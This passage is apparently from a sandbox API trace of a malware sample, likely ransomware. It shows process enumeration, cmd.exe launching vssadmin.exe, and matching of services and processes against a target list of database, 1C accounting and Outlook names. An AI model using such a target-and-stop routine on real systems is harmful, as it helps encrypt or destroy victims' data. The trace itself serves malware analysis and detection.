| out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aafeof.exe")) returned 1 [0040.395] lstrlenW (lpString="aafeof.exe") returned 10 [0040.395] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharpdollarsvocational.exe")) returned 1 [0040.395] lstrlenW (lpString="sharpdollarsvocational.exe") returned 26 [0040.395] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="encryption.exe")) returned 1 [0040.395] lstrlenW (lpString="encryption.exe") returned 14 [0040.395] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0040.396] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0040.396] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0040.397] lstrlenW (lpString="dllhost.exe") returned 11 [0040.397] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0040.397] lstrlenW (lpString="dllhost.exe") returned 11 [0040.397] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="1с_.exe")) returned 1 [0040.398] lstrlenW (lpString="1с_.exe") returned 7 [0040.398] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0040.398] lstrlenW (lpString="cmd.exe") returned 7 [0040.398] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0040.398] lstrlenW (lpString="conhost.exe") returned 11 [0040.398] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0040.399] lstrlenW (lpString="vssadmin.exe") returned 12 [0040.399] Process32NextW (in: hSnapshot=0x168, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0040.399] CloseHandle (hObject=0x168) returned 1 [0040.399] Sleep (dwMilliseconds=0x1f4) [0041.850] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x58fa60 [0041.851] EnumServicesStatusExW (in: hSCManager=0x58fa60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0041.851] GetLastError () returned 0xea [0041.852] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x11e4) returned 0x569068 [0041.852] EnumServicesStatusExW (in: hSCManager=0x58fa60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x569068, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x569068, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0041.852] CloseServiceHandle (hSCObject=0x58fa60) returned 1 [0041.852] lstrlenW (lpString="Appinfo") returned 7 [0041.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0041.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0041.853] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0041.853] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0041.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0041.853] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0041.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0041.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0041.853] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0041.853] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0041.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0041.853] lstrlenW (lpString="AudioSrv") returned 8 [0041.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0041.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0041.853] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0041.853] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0041.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0041.853] lstrlenW (lpString="BFE") returned 3 [0041.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0041.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0041.853] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0041.853] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0041.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0041.853] lstrlenW (lpString="CryptSvc") returned 8 [0041.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0041.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0041.853] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0041.853] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0041.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0041.853] lstrlenW (lpString="CscService") returned 10 [0041.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0041.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0041.854] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0041.854] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0041.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0041.854] lstrlenW (lpString="DcomLaunch") returned 10 [0041.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0041.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0041.854] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0041.854] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0041.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0041.854] lstrlenW (lpString="Dhcp") returned 4 [0041.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0041.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0041.854] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0041.854] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0041.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0041.854] lstrlenW (lpString="Dnscache") returned 8 [0041.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0041.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0041.854] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0041.854] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0041.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0041.854] lstrlenW (lpString="DPS") returned 3 [0041.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0041.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0041.854] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0041.854] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0041.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0041.854] lstrlenW (lpString="eventlog") returned 8 [0041.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0041.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0041.854] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0041.855] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0041.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0041.855] lstrlenW (lpString="EventSystem") returned 11 [0041.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0041.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0041.855] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0041.855] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0041.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0041.855] lstrlenW (lpString="gpsvc") returned 5 [0041.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0041.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0041.855] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0041.855] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0041.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0041.855] lstrlenW (lpString="iphlpsvc") returned 8 [0041.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0041.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0041.855] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0041.855] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0041.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0041.855] lstrlenW (lpString="LanmanServer") returned 12 [0041.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0041.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0041.855] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0041.855] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0041.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0041.855] lstrlenW (lpString="LanmanWorkstation") returned 17 [0041.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0041.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0041.855] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0041.855] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0041.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0041.856] lstrlenW (lpString="lmhosts") returned 7 [0041.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0041.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0041.856] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0041.856] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0041.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0041.856] lstrlenW (lpString="MMCSS") returned 5 [0041.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0041.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0041.856] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0041.856] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0041.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0041.856] lstrlenW (lpString="MpsSvc") returned 6 [0041.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0041.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0041.856] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0041.856] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0041.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0041.856] lstrlenW (lpString="Netman") returned 6 [0041.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0041.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0041.856] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0041.856] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0041.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0041.856] lstrlenW (lpString="netprofm") returned 8 [0041.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0041.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0041.856] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0041.856] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0041.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0041.856] lstrlenW (lpString="NlaSvc") returned 6 [0041.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0041.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0041.857] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0041.857] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0041.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0041.857] lstrlenW (lpString="nsi") returned 3 [0041.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0041.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0041.857] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0041.857] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0041.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0041.857] lstrlenW (lpString="PcaSvc") returned 6 [0041.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0041.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0041.857] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0041.857] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0041.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0041.857] lstrlenW (lpString="PlugPlay") returned 8 [0041.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0041.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0041.857] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0041.857] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0041.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0041.857] lstrlenW (lpString="Power") returned 5 [0041.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0041.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0041.857] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0041.857] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0041.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0041.857] lstrlenW (lpString="ProfSvc") returned 7 [0041.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0041.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0041.857] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0041.857] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0041.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0041.858] lstrlenW (lpString="RpcEptMapper") returned 12 [0041.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.858] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0041.858] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0041.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0041.858] lstrlenW (lpString="RpcSs") returned 5 [0041.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0041.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0041.858] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0041.858] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0041.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0041.858] lstrlenW (lpString="SamSs") returned 5 [0041.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0041.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0041.858] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0041.858] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0041.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0041.858] lstrlenW (lpString="Schedule") returned 8 [0041.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0041.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0041.858] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0041.858] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0041.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0041.858] lstrlenW (lpString="SENS") returned 4 [0041.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0041.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0041.858] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0041.858] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0041.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0041.858] lstrlenW (lpString="ShellHWDetection") returned 16 [0041.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.859] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0041.859] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0041.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0041.859] lstrlenW (lpString="Spooler") returned 7 [0041.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0041.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0041.859] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0041.859] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0041.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0041.859] lstrlenW (lpString="SysMain") returned 7 [0041.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0041.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0041.859] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0041.859] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0041.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0041.859] lstrlenW (lpString="Themes") returned 6 [0041.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0041.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0041.859] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0041.859] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0041.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0041.859] lstrlenW (lpString="TrkWks") returned 6 [0041.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0041.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0041.859] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0041.859] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0041.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0041.859] lstrlenW (lpString="UxSms") returned 5 [0041.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0041.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0041.859] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0041.860] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0041.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0041.860] lstrlenW (lpString="WdiServiceHost") returned 14 [0041.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.860] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0041.860] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0041.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0041.860] lstrlenW (lpString="WdiSystemHost") returned 13 [0041.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.860] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0041.860] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0041.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0041.860] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0041.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.860] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0041.860] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0041.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0041.860] lstrlenW (lpString="Winmgmt") returned 7 [0041.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0041.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0041.860] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0041.860] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0041.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0041.860] lstrlenW (lpString="WPDBusEnum") returned 10 [0041.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0041.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0041.860] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0041.860] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0041.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0041.860] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x569068 | out: hHeap=0x510000) returned 1 [0041.861] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16c [0041.865] Process32FirstW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0041.865] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0041.865] lstrlenW (lpString="System") returned 6 [0041.865] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0041.865] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0041.865] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0041.865] lstrcmpiW 